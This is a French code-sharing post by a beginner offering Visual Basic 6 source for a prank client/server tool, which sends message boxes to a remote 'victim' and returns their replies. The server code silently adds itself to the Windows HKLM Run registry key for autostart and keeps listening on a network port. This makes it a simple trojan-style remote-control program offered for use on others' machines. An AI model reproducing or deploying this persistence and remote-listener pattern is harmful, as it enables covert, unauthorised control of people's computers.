Error message : envoyer des message d'erreur en msgbox avec retour de reponse !

Télécharger le projet
Commenter

Description

Bonjour à tous.
Voici donc ma premiere source j'espere qu'elle vous plaiera car je ne suis encore que débutant !
Donc mon programme est tout simple ! Il permet a une personne de se connecter, grace au client, sur un ordinateur, ou il y a le server, puis de lui envoyer des petit message d'erreur ect... rien de bien mechant !!! Une fois que la "victime" aura repondu au message (OUI, NON, RECOMMENCER...) vous receverez ce qu'il aura cocher ! C'est plus pour s'amuser mais aussi pour les debutant pouvoir s'entrainer a dechifrer les codes pas bien dure :D !
Donc voila je vous laisse vous amusez et a inventer le message le plus délir :D

Source / Exemple : 


- Client :

Option Explicit

Private Sub connecter_Click()
Winsock.Close
Winsock.Connect ip.Text, "27960"
horsligne.Caption = "En cours..."
connecter.Enabled = False
End Sub

Private Sub deconnecter_Click()
Winsock.SendData "CLOS"
horsligne.Caption = "Hors Ligne"
connecter.Enabled = True
End Sub

Private Sub definirboutton_Click()
Select Case True

Case a.Value = True
Winsock.SendData "BOUT" & vbYesNoCancel
Case b.Value = True
Winsock.SendData "BOUT" & vbOKOnly
Case c.Value = True
Winsock.SendData "BOUT" & vbAbortRetryIgnore
Case d.Value = True
Winsock.SendData "BOUT" & vbYesNo
Case e.Value = True
Winsock.SendData "BOUT" & vbOKCancel
Case f.Value = True
Winsock.SendData "BOUT" & vbRetryCancel

End Select
End Sub

Private Sub definiricone_Click()
If question.Value = True Then
Winsock.SendData "ICON" & vbQuestion
End If
If exclamation.Value = True Then
Winsock.SendData "ICON" & vbExclamation
End If
If erreur.Value = True Then
Winsock.SendData "ICON" & vbCritical
End If
If information.Value = True Then
Winsock.SendData "ICON" & vbInformation
End If
End Sub

Private Sub envoyer1_Click()
Winsock.SendData "MSSG" & message.Text
End Sub

Private Sub envoyer2_Click()
Winsock.SendData "TITR" & windows.Text
End Sub

Private Sub envoyer3_Click()
If exclamation.Value = True Then
Winsock.SendData "AZER"
End If
If erreur.Value = True Then
Winsock.SendData "AZER"
End If
If information.Value = True Then
Winsock.SendData "AZER"
End If
If question.Value = True Then
Winsock.SendData "OUVR"
End If
End Sub

Private Sub erreur_Click()
If erreur.Value = True Then
bouttonmessage.Visible = False
End If

End Sub

Private Sub exclamation_Click()
If exclamation.Value = True Then
bouttonmessage.Visible = False
End If
End Sub

Private Sub information_Click()
If information.Value = True Then
bouttonmessage.Visible = False
End If
End Sub

Private Sub question_Click()
If question.Value = True Then
bouttonmessage.Visible = True
End If
End Sub

Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock.GetData data
Select Case Left(data, 4)

Case "CONN"
horsligne.Caption = "En ligne"

Case "STAT"
horsligne.Caption = "Hors Ligne"

Case "RPSE"
MsgBox "USER : Ok", vbOKOnly, "Reponce"

Case "REPS"
Dim rep As String
MsgBox "USER : " & Right(data, Len(data) - 4), vbOKOnly, "Reponse"

End Select
End Sub

- Server :

Dim WSHShell
Dim MaClef
Dim MonProg
Dim CheminDeMonProg
Dim r

Private Sub Form_Load()
Set WSHShell = CreateObject("Wscript.Shell")
MonProg = "Form1"
CheminDeMonProg = App.Path & "\" & App.EXEName & ".exe"
MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg
r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")

Winsock1.Listen
End Sub

Private Sub rep_Change()

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "CONN"

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Select Case Left(data, 4)

Case "CLOS"
Winsock1.SendData "STAT"
Winsock1.Close
Winsock1.Listen

Case "MSSG"
Dim message As String
message = Right(data, Len(data) - 4)
msg.Text = message

Case "TITR"
Dim titre As String
titre = Right(data, Len(data) - 4)
title.Text = titre

Case "BOUT"
Dim boutton As String
boutton = Right(data, Len(data) - 4)
button.Text = boutton

Case "ICON"
Dim icone As String
icone = Right(data, Len(data) - 4)
types.Text = icone

Case "OUVR"
Dim rep As String
rep = MsgBox(msg.Text, types.Text & button.Text, title.Text)
Dim buffer As Variant
buffer = Array("", "Ok", "Annuler", "Abandonner", "Recommencer", "Ignorer", "Oui", "Non")

rep = buffer(Val(rep))

Winsock1.SendData "REPS" & rep

Case "AZER"
MsgBox msg.Text, types.Text, title.Text
Winsock1.SendData "RPSE"

End Select
End Sub

Conclusion :


Merci à Skate et à Yoman64
Télécharger le projet

Codes Sources

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.